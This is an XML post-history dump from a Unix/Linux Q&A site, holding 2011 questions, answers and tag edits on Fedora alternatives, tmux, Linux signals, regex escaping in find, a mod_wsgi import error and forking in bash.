  <row Id="17704" PostHistoryTypeId="4" PostId="7587" RevisionGUID="c153d2c3-89ee-48c7-8bc3-6e800dc1c08c" CreationDate="2011-02-17T16:16:49.207" UserId="73" Comment="added 4 characters in body; edited tags; edited title" Text="How to run a shell script containing an awk command" />
  <row Id="17705" PostHistoryTypeId="6" PostId="7587" RevisionGUID="c153d2c3-89ee-48c7-8bc3-6e800dc1c08c" CreationDate="2011-02-17T16:16:49.207" UserId="73" Comment="added 4 characters in body; edited tags; edited title" Text="élinuxàéshellöscriptàéawkà" />
  <row Id="17706" PostHistoryTypeId="2" PostId="7589" RevisionGUID="08ddbe7d-64a6-412d-ac85-1a3e7107abc6" CreationDate="2011-02-17T16:20:50.880" UserId="2511" Text="In general, as a non-root user, you can only decrease the priority of your tasks, not increase them. So, one approach would be to lower the priority of everything else. Or, you can set up something at the system level which handles your priorities.&#xD;&#xA;&#xD;&#xA;If you're using a relatively modern Linux distribution, the most powerful way would be with [control groups][1]. This is in its infancy so basically you'd have to configure everything by hand, but in short what you want is to configure the categorizer to put different processes into different CPU control groups, and then to give the mplayer process more CPU shares.&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/6/html/Resource_Management_Guide/ch-Using_Control_Groups.html" />
  <row Id="17707" PostHistoryTypeId="2" PostId="7590" RevisionGUID="71c912b3-b944-43a4-8fb6-81defc17eaf5" CreationDate="2011-02-17T16:22:22.640" UserId="4856" Text="Hello all!&#xD;&#xA;&#xD;&#xA;Can anyone help me using the Fedora alternatives system in order to install an old version of make? I know the actual program is irrelevant, but I need it so I'll use it as my example.&#xD;&#xA;&#xD;&#xA;I currently have make-3.82 installed on my Fedora 14 box, but I need to have 3.81 installed to build the android kernel. I already downloaded the 3.81 source and built it, but now I want to install it alongside 3.82 and be able to switch between them using Fedora alternatives.&#xD;&#xA;&#xD;&#xA;Now I installed make-3.81 from source into /usr/local, how would I use alternatives to achieve my goal? I know I must use the alternatives command, but so far my attempts have failed and I would like a concrete example.&#xD;&#xA;&#xD;&#xA;Thanks for looking!" />
  <row Id="17708" PostHistoryTypeId="1" PostId="7590" RevisionGUID="71c912b3-b944-43a4-8fb6-81defc17eaf5" CreationDate="2011-02-17T16:22:22.640" UserId="4856" Text="Simple example of using Fedora alternatives to install old version of make" />
  <row Id="17709" PostHistoryTypeId="3" PostId="7590" RevisionGUID="71c912b3-b944-43a4-8fb6-81defc17eaf5" CreationDate="2011-02-17T16:22:22.640" UserId="4856" Text="élinuxàéfedoraàépackageömanagementà" />
  <row Id="17710" PostHistoryTypeId="2" PostId="7591" RevisionGUID="8de616df-76e1-4ec2-aaa0-604205f0e7fc" CreationDate="2011-02-17T16:23:38.737" UserId="3629" Text="Looks to me like this is a bug in `dvtm`.  From inspection of the source code, it's not catching the `SIGTSTP` signal, which is what is sent to your terminal's foreground application when you press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;z&lt;/kbd&gt;.  Since it's not catching the signal explicitly, it falls back on default behavior and gets suspended.  What `dvtm` needs to do is catch this signal and pass it along to one of its windows.&#xD;&#xA;&#xD;&#xA;As far as I can tell, there's no workaround, short of fixing `dvtm`." />
  <row Id="17711" PostHistoryTypeId="2" PostId="7592" RevisionGUID="a5aed3b0-7b8c-4457-87a5-0bc0cff484bb" CreationDate="2011-02-17T16:24:44.137" UserId="3635" Text="Not according to the [man page][1], which only calls out the `attach -r` option to enable read-only mode.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wisconsinlinux.org/tmux-manpage-from-cvs/tmux.1.txt" />
  <row Id="17712" PostHistoryTypeId="5" PostId="7592" RevisionGUID="ed709462-37d5-4127-a054-68c94773642c" CreationDate="2011-02-17T16:34:45.797" UserId="3635" Comment="added 359 characters in body" Text="Not according to the [man page][1], which only calls out the `attach -r` option to enable read-only mode.&#xD;&#xA;&#xD;&#xA;Also, in the source code, only the following line in `cmd-attach-session.c` sets the read only flag. The rest of the code only checks whether this flag is set. So again, it looks like you are out of luck unless you can make (or request) a code change:&#xD;&#xA;&#xD;&#xA;        if (cmd_check_flag(data-&gt;chflags, 'r'))&#xD;&#xA;            ctx-&gt;cmdclient-&gt;flags |= CLIENT_READONLY;&#xD;&#xA;&#xD;&#xA;  [1]: http://wisconsinlinux.org/tmux-manpage-from-cvs/tmux.1.txt" />
  <row Id="17713" PostHistoryTypeId="5" PostId="7592" RevisionGUID="bc7a95e2-ce20-4441-8cd8-f41040b97d63" CreationDate="2011-02-17T16:40:43.360" UserId="3635" Comment="added 82 characters in body" Text="Not according to the [man page][1], which only calls out the `attach -r` option to enable read-only mode.&#xD;&#xA;&#xD;&#xA;Also, in the [source code][2], only the following line in `cmd-attach-session.c` sets the read only flag. The rest of the code checks whether this flag is set, but does not change its value. So again, it looks like you are out of luck unless you can make (or request) a code change:&#xD;&#xA;&#xD;&#xA;        if (cmd_check_flag(data-&gt;chflags, 'r'))&#xD;&#xA;            ctx-&gt;cmdclient-&gt;flags |= CLIENT_READONLY;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wisconsinlinux.org/tmux-manpage-from-cvs/tmux.1.txt&#xD;&#xA;  [2]: http://tmux.cvs.sf.net/viewvc/tmux/tmux/" />
  <row Id="17714" PostHistoryTypeId="2" PostId="7593" RevisionGUID="47fb20c9-3054-464f-84cb-b9eafc3f05fd" CreationDate="2011-02-17T17:07:39.863" UserId="3976" Text=" 1. You need to 'alternative-ize' the original make.  Change /usr/bin/make and /usr/bin/gmake to /usr/bin/make-3.82 and /usr/bin/gmake-3.82.  Realize that it'll get blown away next time make is upgraded, because Fedora does not use the alternatives for make.&#xD;&#xA; 2. Create an alternative for it.  `alternatives --install /usr/bin/make make /usr/bin/make-3.82 10` for make.  I used 10 as the priority to make it a lower priority than the next step.&#xD;&#xA; 3. Now create an alternative for your new make. `alternatives --install /usr/bin/make make /usr/local/make-3.81/bin/make 20` (assuming you installed it in /usr/local/make-3.81).  notice I used a higher priority, 20.&#xD;&#xA; 4. Use `alternatives --display make` to see what is being used." />
  <row Id="17715" PostHistoryTypeId="5" PostId="7590" RevisionGUID="98892c4e-3cfd-4bea-9554-cef1b841ccb5" CreationDate="2011-02-17T17:20:38.643" UserId="1207" Comment="deleted 29 characters in body; edited tags" Text="Can anyone help me using the Fedora alternatives system in order to install an old version of make? I know the actual program is irrelevant, but I need it so I'll use it as my example.&#xD;&#xA;&#xD;&#xA;I currently have `make-3.82` installed on my Fedora 14 box, but I need to have 3.81 installed to build the android kernel. I already downloaded the 3.81 source and built it, but now I want to install it alongside 3.82 and be able to switch between them using Fedora alternatives.&#xD;&#xA;&#xD;&#xA;Now I installed `make-3.81` from source into `/usr/local`, how would I use alternatives to achieve my goal? I know I must use the alternatives command, but so far my attempts have failed and I would like a concrete example.&#xD;&#xA;" />
  <row Id="17716" PostHistoryTypeId="6" PostId="7590" RevisionGUID="98892c4e-3cfd-4bea-9554-cef1b841ccb5" CreationDate="2011-02-17T17:20:38.643" UserId="1207" Comment="deleted 29 characters in body; edited tags" Text="élinuxàéfedoraàépackageömanagementàéalternativesà" />
  <row Id="17717" PostHistoryTypeId="25" PostId="7590" RevisionGUID="78cfcbed-e268-423c-81af-38baf406a59c" CreationDate="2011-02-17T17:23:00.763" Comment="http://twitter.com/#!/StackUnix/status/38287310009282560" />
  <row Id="17718" PostHistoryTypeId="2" PostId="7594" RevisionGUID="377201b7-e6e4-49bf-a80a-9f424eddd4c0" CreationDate="2011-02-17T17:45:48.997" UserId="663" Text="I'm trying to run MoinMoin under Apache on SLES 11P1. I'm getting the following error in my Apache log when somebody tries to access the site:&#xD;&#xA;&#xD;&#xA;    mod_wsgi (pid=20772): Target WSGI script '/srv/www/wiki/moin.wsgi' cannot be loaded as Python module.&#xD;&#xA;    mod_wsgi (pid=20772): Exception occurred processing WSGI script '/srv/www/wiki/moin.&#xD;&#xA;    wsgi'.&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/srv/www/wiki/moin.wsgi&quot;, line 44, in &lt;module&gt;&#xD;&#xA;        from MoinMoin.web.serving import make_application&#xD;&#xA;      File &quot;/usr/local/lib64/python2.6/site-packages/MoinMoin/web/serving.py&quot;, line 14, in &lt;module&gt;&#xD;&#xA;        from MoinMoin import version, log&#xD;&#xA;      File &quot;/usr/local/lib64/python2.6/site-packages/MoinMoin/log.py&quot;, line 92, in &lt;module&gt;&#xD;&#xA;        import logging.config&#xD;&#xA;      File &quot;/usr/lib/python2.6/logging/config.py&quot;, line 30, in &lt;module&gt;&#xD;&#xA;        import sys, logging, logging.handlers, string, socket, struct, os, traceback, types&#xD;&#xA;      File &quot;/usr/lib/python2.6/logging/handlers.py&quot;, line 27, in &lt;module&gt;&#xD;&#xA;        import logging, socket, types, os, string, cPickle, struct, time, re&#xD;&#xA;    ImportError: /usr/lib64/python2.6/lib-dynload/cPickle.so: undefined symbol: PyUnicodeUCS2_DecodeUTF8&#xD;&#xA;&#xD;&#xA;However, I have no problem if I execute the failing statement manually from a Python interpreter:&#xD;&#xA;&#xD;&#xA;    $ python&#xD;&#xA;    'import site' failed; use -v for traceback&#xD;&#xA;    Python 2.6.6 (r266:84292, Feb 17 2011, 08:36:48) &#xD;&#xA;    [GCC 4.3.4 [gcc-4_3-branch revision 152973]] on linux2&#xD;&#xA;    Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xD;&#xA;    &gt;&gt;&gt; import logging, socket, types, os, string, cPickle, struct, time, re&#xD;&#xA;    &gt;&gt;&gt;&#xD;&#xA;&#xD;&#xA;What could cause that error when running under Apache, but not when running Python at the command-line?" />
  <row Id="17719" PostHistoryTypeId="1" PostId="7594" RevisionGUID="377201b7-e6e4-49bf-a80a-9f424eddd4c0" CreationDate="2011-02-17T17:45:48.997" UserId="663" Text="ImportError when running WSGI app in Apache: undefined symbol: PyUnicodeUCS2_DecodeUTF8" />
  <row Id="17720" PostHistoryTypeId="3" PostId="7594" RevisionGUID="377201b7-e6e4-49bf-a80a-9f424eddd4c0" CreationDate="2011-02-17T17:45:48.997" UserId="663" Text="éapacheàépythonàésuseà" />
  <row Id="17721" PostHistoryTypeId="6" PostId="7571" RevisionGUID="4a5adbc6-8a39-4466-bb43-f486c5031595" CreationDate="2011-02-17T17:46:07.193" UserId="885" Comment="edited tags" Text="élinuxàékernelàéprofileà" />
  <row Id="17722" PostHistoryTypeId="6" PostId="7574" RevisionGUID="e9af078d-2366-4042-b70a-bb42446efdc4" CreationDate="2011-02-17T17:52:26.000" UserId="885" Comment="edited tags" Text="ébashàéshellàéspecialöcharactersàéquotingà" />
  <row Id="17723" PostHistoryTypeId="5" PostId="7575" RevisionGUID="4624d310-c9c7-46b3-82b6-bae9559c60d0" CreationDate="2011-02-17T17:54:14.953" UserId="885" Comment="no, `*` and `@` are not special inside double quotes (`$*` and `$@` are)" Text="Take a look at the bash man page. There's an entire section on quoting. Because this licensed under the GFDL, which is not compatible with the CC-BY-SA license used here, I won't quote the whole thing, but really [reading that is the most definitive answer][1].&#xD;&#xA;&#xD;&#xA;In summary, single quotes stop all interpretation -- the string is rendered literally. Double quotes leave `$` (dollar sign), \` (backquote) as special, and `\` (backslash) as special when followed by certain other characters. And `!` will be treated specially if the history expansion feature is enabled (which it is by default).&#xD;&#xA;&#xD;&#xA;In practical use, the `$` is the big deal, as one often may want the various expansions it enables to (variables and more), while still preventing the shell from muddling most of the command line. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Quoting" />
  <row Id="17724" PostHistoryTypeId="6" PostId="7580" RevisionGUID="cca1c9c7-2c93-4b46-88b0-725a57e6a52d" CreationDate="2011-02-17T18:01:07.377" UserId="885" Comment="edited tags" Text="énetworkingàéscriptingàépingàéwakeöonölanà" />
  <row Id="17725" PostHistoryTypeId="6" PostId="7566" RevisionGUID="17c481ef-c433-4b76-9245-014e3ed52153" CreationDate="2011-02-17T18:03:17.827" UserId="885" Comment="edited tags" Text="élinuxàéioàécpuàéioniceàépriorityà" />
  <row Id="17726" PostHistoryTypeId="6" PostId="7588" RevisionGUID="6b62f74e-03aa-45cf-b56c-43aab324b3d0" CreationDate="2011-02-17T18:08:34.717" UserId="885" Comment="edited tags" Text="étmuxàéterminalömultiplexerà" />
  <row Id="17727" PostHistoryTypeId="5" PostId="7565" RevisionGUID="ee7fb33a-7e80-4159-b591-d9d7ea3bbfeb" CreationDate="2011-02-17T18:12:48.173" UserId="885" Comment="fundamentalist != fundamental; other English improvements" Text="You should opt for LDDv3, as it is one of the fundamental books on the same topic.&#xD;&#xA;After you grab this book, go and look for *Understanding the Linux Kernel*. &#xD;&#xA;&#xD;&#xA;These two book suffice to fulfill your thirst for kernel (driver) development." />
  <row Id="17728" PostHistoryTypeId="2" PostId="7595" RevisionGUID="a00b59ef-0b52-4d1d-9586-8c1c4eef9ab8" CreationDate="2011-02-17T18:16:04.460" UserId="4143" Text="I can look around the internet and find that the associated number for SIGKILL is 9, but is there linux documentation (such as, a man page) showing the complete list of signals and their numbers?" />
  <row Id="17729" PostHistoryTypeId="1" PostId="7595" RevisionGUID="a00b59ef-0b52-4d1d-9586-8c1c4eef9ab8" CreationDate="2011-02-17T18:16:04.460" UserId="4143" Text="What documentation shows the associated numbers for linux signals like SIGTERM and SIGKILL?" />
  <row Id="17730" PostHistoryTypeId="3" PostId="7595" RevisionGUID="a00b59ef-0b52-4d1d-9586-8c1c4eef9ab8" CreationDate="2011-02-17T18:16:04.460" UserId="4143" Text="édocumentationàésignalsà" />
  <row Id="17731" PostHistoryTypeId="2" PostId="7596" RevisionGUID="764fc940-1995-42c6-aa01-37bd24b1ae67" CreationDate="2011-02-17T18:17:31.793" UserId="4860" Text="Daniel Robbins,creator of Gentoo Linux, has been working on something called &quot;Boot-Update&quot; for Funtoo.  I've not tried it.  Seems to be what you are looking for.&#xD;&#xA;&#xD;&#xA;[http://docs.funtoo.org/wiki/Funtoo_Boot-Update][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.funtoo.org/wiki/Funtoo_Boot-Update" />
  <row Id="17732" PostHistoryTypeId="2" PostId="7597" RevisionGUID="121b8d0a-b9e1-4dc3-a8a8-a9a9cca00019" CreationDate="2011-02-17T18:18:08.390" UserId="4477" Text="[man 7 signal][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?signal+7" />
  <row Id="17733" PostHistoryTypeId="2" PostId="7598" RevisionGUID="931cdd2a-6150-4a1b-8bcd-027822eaa9bf" CreationDate="2011-02-17T18:20:24.723" UserId="3389" Text="This would only work for one or two computers, but if you connect them directly to the computer responsible for checking their status, you can use `ethtool` to see if the link is active or not." />
  <row Id="17734" PostHistoryTypeId="5" PostId="7594" RevisionGUID="fe7dd5f1-7d7e-40cf-bad1-1cd1928eee65" CreationDate="2011-02-17T18:21:28.357" UserId="663" Comment="Added some details " Text="I'm trying to run MoinMoin under Apache on SLES 11P1. I'm getting the following error in my Apache log when somebody tries to access the site:&#xD;&#xA;&#xD;&#xA;    mod_wsgi (pid=20772): Target WSGI script '/srv/www/wiki/moin.wsgi' cannot be loaded as Python module.&#xD;&#xA;    mod_wsgi (pid=20772): Exception occurred processing WSGI script '/srv/www/wiki/moin.&#xD;&#xA;    wsgi'.&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/srv/www/wiki/moin.wsgi&quot;, line 44, in &lt;module&gt;&#xD;&#xA;        from MoinMoin.web.serving import make_application&#xD;&#xA;      File &quot;/usr/local/lib64/python2.6/site-packages/MoinMoin/web/serving.py&quot;, line 14, in &lt;module&gt;&#xD;&#xA;        from MoinMoin import version, log&#xD;&#xA;      File &quot;/usr/local/lib64/python2.6/site-packages/MoinMoin/log.py&quot;, line 92, in &lt;module&gt;&#xD;&#xA;        import logging.config&#xD;&#xA;      File &quot;/usr/lib/python2.6/logging/config.py&quot;, line 30, in &lt;module&gt;&#xD;&#xA;        import sys, logging, logging.handlers, string, socket, struct, os, traceback, types&#xD;&#xA;      File &quot;/usr/lib/python2.6/logging/handlers.py&quot;, line 27, in &lt;module&gt;&#xD;&#xA;        import logging, socket, types, os, string, cPickle, struct, time, re&#xD;&#xA;    ImportError: /usr/lib64/python2.6/lib-dynload/cPickle.so: undefined symbol: PyUnicodeUCS2_DecodeUTF8&#xD;&#xA;&#xD;&#xA;However, I have no problem if I execute the failing statement manually from a Python interpreter:&#xD;&#xA;&#xD;&#xA;    $ python&#xD;&#xA;    'import site' failed; use -v for traceback&#xD;&#xA;    Python 2.6.6 (r266:84292, Feb 17 2011, 08:36:48) &#xD;&#xA;    [GCC 4.3.4 [gcc-4_3-branch revision 152973]] on linux2&#xD;&#xA;    Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xD;&#xA;    &gt;&gt;&gt; import logging, socket, types, os, string, cPickle, struct, time, re&#xD;&#xA;    &gt;&gt;&gt;&#xD;&#xA;&#xD;&#xA;What could cause that error when running under Apache, but not when running Python at the command-line?&#xD;&#xA;&#xD;&#xA;Edit: It looks like they are hitting different shared libraries. Apache is hitting `/usr/lib64/python2.6/lib-dynload/cPickle.so` and the Python interpreter that I invoke at the command-line is hitting `/usr/lib/python2.6/lib-dynload/cPickle.so`&#xD;&#xA;&#xD;&#xA;    $ python -v &#xD;&#xA;    ...&#xD;&#xA;    &gt;&gt;&gt; import cPickle&#xD;&#xA;    dlopen(&quot;/usr/lib/python2.6/lib-dynload/cPickle.so&quot;, 2);&#xD;&#xA;    dlopen(&quot;/usr/lib/python2.6/lib-dynload/cStringIO.so&quot;, 2);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17735" PostHistoryTypeId="2" PostId="7599" RevisionGUID="1d0977e5-2970-49bf-9695-68191d0a8b31" CreationDate="2011-02-17T19:00:31.780" UserId="3629" Text="Alternately:&#xD;&#xA;&#xD;&#xA;    kill -l&#xD;&#xA;&#xD;&#xA;That's an &quot;ell&quot; (for &quot;list&quot;), not a &quot;one&quot;.&#xD;&#xA;&#xD;&#xA;The signal(7) man page (at least the one I have) shows multiple possible numbers for some of the signals.  The numbers listed by `kill -l` should be correct for the running system." />
  <row Id="17736" PostHistoryTypeId="25" PostId="7595" RevisionGUID="c45df95f-2c1b-4b9a-bb1e-66cc5f588d6e" CreationDate="2011-02-17T20:23:03.770" Comment="http://twitter.com/#!/StackUnix/status/38332620760813568" />
  <row Id="17737" PostHistoryTypeId="2" PostId="7600" RevisionGUID="8472b0f4-3383-4185-a106-f2005badb88e" CreationDate="2011-02-17T20:23:30.607" UserId="4143" Text="Take, for example, this command:&#xD;&#xA;&#xD;&#xA;    find . -regex &quot;.*\.\(cpp\|h\)&quot;&#xD;&#xA;&#xD;&#xA;This will find all the .h and .cpp files in your directory.  The period character '.' in regular expressions usually means &quot;any character&quot;.  To get it to match only an actual period, you must escape it using the backslash character '\'.&#xD;&#xA;&#xD;&#xA;In this case, given a character with a special meaning, you must escape it to get the actual character it represents.&#xD;&#xA;&#xD;&#xA;Now, take the parenthesis and the &quot;or&quot; bar, being characters '(', ')', and '|', respectively.  These also have special meanings, used for grouping regular expressions.  However, to get the special meaning, the characters must be escaped using the backslash!  Without the backslash, the characters have the meaning of the actual character it represents.&#xD;&#xA;&#xD;&#xA;Why is the '.' treated differently from '(', ')', and '|'?" />
  <row Id="17738" PostHistoryTypeId="1" PostId="7600" RevisionGUID="8472b0f4-3383-4185-a106-f2005badb88e" CreationDate="2011-02-17T20:23:30.607" UserId="4143" Text="Why do some regex commands have opposite intepretations of '\' with various characters?" />
  <row Id="17739" PostHistoryTypeId="3" PostId="7600" RevisionGUID="8472b0f4-3383-4185-a106-f2005badb88e" CreationDate="2011-02-17T20:23:30.607" UserId="4143" Text="éfindàéregexà" />
  <row Id="17740" PostHistoryTypeId="2" PostId="7601" RevisionGUID="3d3c79e6-1cf7-4579-b6bf-280671f6af6f" CreationDate="2011-02-17T20:30:43.197" UserId="4194" Text="Also look in /usr/include/signal.h and either scan the #define or #include statements (which on Ubuntu 10.10 tells you to look in /usr/include/bits/signum.h).  Note that the SIGRTMIN/SIGRTMAX are placeholders for kernal and unused signals and should not be called by the shell or a program." />
  <row Id="17742" PostHistoryTypeId="2" PostId="7603" RevisionGUID="794c1cf9-fdc0-46c5-ad7a-486479be936f" CreationDate="2011-02-17T20:42:42.823" UserId="2511" Text="The answer is really &quot;just because&quot;. There's a whole bunch of different regular expression syntaxes, and while they share a similar appearance and usually the basics are the same, they vary in the particulars.&#xD;&#xA;&#xD;&#xA;Historically, every tool had its own new implementation, doing whatever the author thought best. There's an attempt at standardization from POSIX, which defines &quot;basic regular expressions&quot; and &quot;extended regular expressions&quot;, which awesomely work backwards from each other in regards to `\` sometimes but not with perfect consistency.&#xD;&#xA;&#xD;&#xA;Perl regular expressions have become another defacto standard, for two reasons: first, they're very flexible and powerful, and second, they're *actually pretty sane*, with conventions like &quot;\ always escapes a non-alphanumeric character&quot;." />
  <row Id="17744" PostHistoryTypeId="5" PostId="7603" RevisionGUID="d77b5a0d-a80d-426c-bd6c-f9dd8cb6cbed" CreationDate="2011-02-17T20:53:21.317" UserId="2511" Comment="added 324 characters in body" Text="The answer is really &quot;just because&quot;. There's a whole bunch of different regular expression syntaxes, and while they share a similar appearance and usually the basics are the same, they vary in the particulars.&#xD;&#xA;&#xD;&#xA;Historically, every tool had its own new implementation, doing whatever the author thought best. There's an attempt at standardization from POSIX, which defines &quot;basic regular expressions&quot; and &quot;extended regular expressions&quot;, which awesomely work backwards from each other in regards to `\` sometimes but not with perfect consistency.&#xD;&#xA;&#xD;&#xA;Perl regular expressions have become another defacto standard, for two reasons: first, they're very flexible and powerful, and second, they're *actually pretty sane*, with conventions like &quot;\ always escapes a non-alphanumeric character&quot;.&#xD;&#xA;&#xD;&#xA;GNU Find has a `-regextype` option, where you can change the regular expression syntax used. Sadly, &quot;perl&quot; is not an option, at least in the version of find I have. (The default is, not surprisingly from GNU, &quot;emacs&quot;, and that syntax is [documented here][1].)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.emacswiki.org/emacs/RegularExpression" />
  <row Id="17748" PostHistoryTypeId="2" PostId="7605" RevisionGUID="1c61ba9a-1507-4ff9-af20-c47bd2813e06" CreationDate="2011-02-17T21:33:36.147" UserId="1466" Text="This feature is supported by [DragonFly BSD][1], where it is called *variant symlinks*. See [`man varsym`][2] and [`man ln`][3] for details.&#xD;&#xA;  [1]: http://DragonFlyBSD.Org/&#xD;&#xA;  [2]: http://Leaf.DragonFlyBSD.org/cgi/web-man?command=varsym&amp;section=1&#xD;&#xA;  [3]: http://Leaf.DragonFlyBSD.org/cgi/web-man?command=ln&amp;section=1" />
  <row Id="17749" PostHistoryTypeId="6" PostId="7586" RevisionGUID="959125b1-25c9-4e27-a0c2-a6b7ddc886ef" CreationDate="2011-02-17T21:45:06.757" UserId="885" Comment="edited tags" Text="ésuspendàéterminalömultiplexeràédvtmà" />
  <row Id="17750" PostHistoryTypeId="2" PostId="7606" RevisionGUID="6a591e34-a937-43ab-a6a7-267ba3ba307a" CreationDate="2011-02-17T22:13:22.137" UserId="3635" Text="Why does Linux run well on so many different types of machines - desktops, laptops, servers, embedded devices, mobile phones, etc? Is it mainly because the system is open, so any part of it can be modified to work in different environments? Or are there other properties of the Linux kernel and/or system that make it easier for this OS to work on such a wide range of platforms?" />
  <row Id="17751" PostHistoryTypeId="1" PostId="7606" RevisionGUID="6a591e34-a937-43ab-a6a7-267ba3ba307a" CreationDate="2011-02-17T22:13:22.137" UserId="3635" Text="Why does Linux scale so well to different hardware platforms?" />
  <row Id="17752" PostHistoryTypeId="3" PostId="7606" RevisionGUID="6a591e34-a937-43ab-a6a7-267ba3ba307a" CreationDate="2011-02-17T22:13:22.137" UserId="3635" Text="élinuxàéhardwareà" />
  <row Id="17753" PostHistoryTypeId="5" PostId="633" RevisionGUID="37244744-bb07-49eb-b49d-5d8dad094b84" CreationDate="2011-02-17T23:06:20.350" UserId="73" Comment="added 14 characters in body" Text="Logout the user 'username':&#xD;&#xA;&#xD;&#xA;    skill -KILL -u username&#xD;&#xA;&#xD;&#xA;See `man skill`" />
  <row Id="17754" PostHistoryTypeId="25" PostId="7606" RevisionGUID="a8a39241-90a7-4763-9066-5cfbc594c681" CreationDate="2011-02-17T23:23:03.263" Comment="http://twitter.com/#!/StackUnix/status/38377918690230272" />
  <row Id="17755" PostHistoryTypeId="2" PostId="7607" RevisionGUID="afc5bc8e-7a14-4227-8e36-2bb3ea209ab6" CreationDate="2011-02-17T23:54:53.497" UserId="2974" Text="I would start by looking at the [Open Printing](http://www.openprinting.org/printer/Lexmark/Lexmark-5000) website." />
  <row Id="17756" PostHistoryTypeId="2" PostId="7608" RevisionGUID="ab13a26b-0bbb-480d-aa90-eb5607197fab" CreationDate="2011-02-18T00:06:50.430" UserId="4143" Text="I have a script that I would like to fork at one point so two copies of the same script are running.&#xD;&#xA;&#xD;&#xA;For example, I would like the following bash script to exist:&#xD;&#xA;&#xD;&#xA;    echo $$&#xD;&#xA;    do_fork()&#xD;&#xA;    echo $$&#xD;&#xA;&#xD;&#xA;If this bash script truly existed, the expected output would be:&#xD;&#xA;&#xD;&#xA;    &lt;ProcessA PID&gt;&#xD;&#xA;    &lt;ProcessB PID&gt;&#xD;&#xA;    &lt;ProcessA PID&gt;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    &lt;ProcessA PID&gt;&#xD;&#xA;    &lt;ProcessA PID&gt;&#xD;&#xA;    &lt;ProcessB PID&gt;&#xD;&#xA;&#xD;&#xA;Is there something that I can put in place of &quot;do_fork()&quot; to get this kind of output, or to cause the bash script to do a C-like fork?" />
  <row Id="17757" PostHistoryTypeId="1" PostId="7608" RevisionGUID="ab13a26b-0bbb-480d-aa90-eb5607197fab" CreationDate="2011-02-18T00:06:50.430" UserId="4143" Text="Does bash support forking similar to C's fork()?" />
  <row Id="17758" PostHistoryTypeId="3" PostId="7608" RevisionGUID="ab13a26b-0bbb-480d-aa90-eb5607197fab" CreationDate="2011-02-18T00:06:50.430" UserId="4143" Text="ébashàéforkà" />
  <row Id="17759" PostHistoryTypeId="5" PostId="7603" RevisionGUID="b54af958-70de-46b9-8bc1-d7596649dda0" CreationDate="2011-02-18T00:12:45.200" UserId="2511" Comment="added 678 characters in body" Text="The answer is really &quot;just because&quot;. There's a whole bunch of different regular expression syntaxes, and while they share a similar appearance and usually the basics are the same, they vary in the particulars.&#xD;&#xA;&#xD;&#xA;Historically, every tool had its own new implementation, doing whatever the author thought best. There's a balance between making characters special with and without escaping — too many characters that are &quot;naturally special&quot; and you end up having to escape them all the time just to match on them; or, the other way around, you send up having a bunch of escapes to use common regex syntax like () grouping. And everyone writing a program decided how to do it based on the needs of what their program matched against, on what they felt was best, and on the phase of the moon.&#xD;&#xA;&#xD;&#xA;There's an attempt at standardization from POSIX, which defines &quot;[basic regular expressions][1]&quot; and &quot;[extended regular expressions][2]&quot;. Awesomely, these work backwards from each other in regards to `\` — *sometimes*, but not with perfect consistency.&#xD;&#xA;&#xD;&#xA;Perl regular expressions have become another defacto standard, for two reasons: first, they're very flexible and powerful, and second, they're *actually pretty sane*, with conventions like &quot;\ always escapes a non-alphanumeric character&quot;.&#xD;&#xA;&#xD;&#xA;GNU Find has a `-regextype` option, where you can change the regular expression syntax used. Sadly, &quot;perl&quot; is not an option, at least in the version of find I have. (The default is, not surprisingly from GNU, &quot;emacs&quot;, and that syntax is [documented here][3].)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html#tag_09_03&#xD;&#xA;  [2]: http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html#tag_09_04&#xD;&#xA;  [3]: http://www.emacswiki.org/emacs/RegularExpression" />
  <row Id="17760" PostHistoryTypeId="2" PostId="7609" RevisionGUID="000b2933-b249-468f-8c43-c3c18c1a99b4" CreationDate="2011-02-18T00:27:12.113" UserId="885" Text="Yes. Forking is spelled `&amp;`:&#xD;&#xA;&#xD;&#xA;    echo child &amp; echo parent&#xD;&#xA;&#xD;&#xA;What's confusing you is that `$$` is not the PID of the shell process, it's the PID of the *original* shell process. The point of making it this way is that `$$` is a unique identifier for a particular instance of the shell script: it doesn't change during the script's execution, and it's different from `$$` in any other concurrently running script.&#xD;&#xA;&#xD;&#xA;One way to get the shell process's actual PID is `sh -c 'echo $PPID'`.&#xD;&#xA;&#xD;&#xA;`&amp;` and `$$` exist and behave this way in every Bourne-style shell and in (t)csh. `$PPID` didn't exist in the orignal Bourne shell but is in POSIX (so it's in ash, bash, ksh, zsh, …).&#xD;&#xA;" />
  <row Id="17761" PostHistoryTypeId="6" PostId="7608" RevisionGUID="21a2982a-46c0-4c15-ac92-6e35f1f2e4de" CreationDate="2011-02-18T00:27:22.503" UserId="885" Comment="edited tags" Text="éshellàéforkà" />
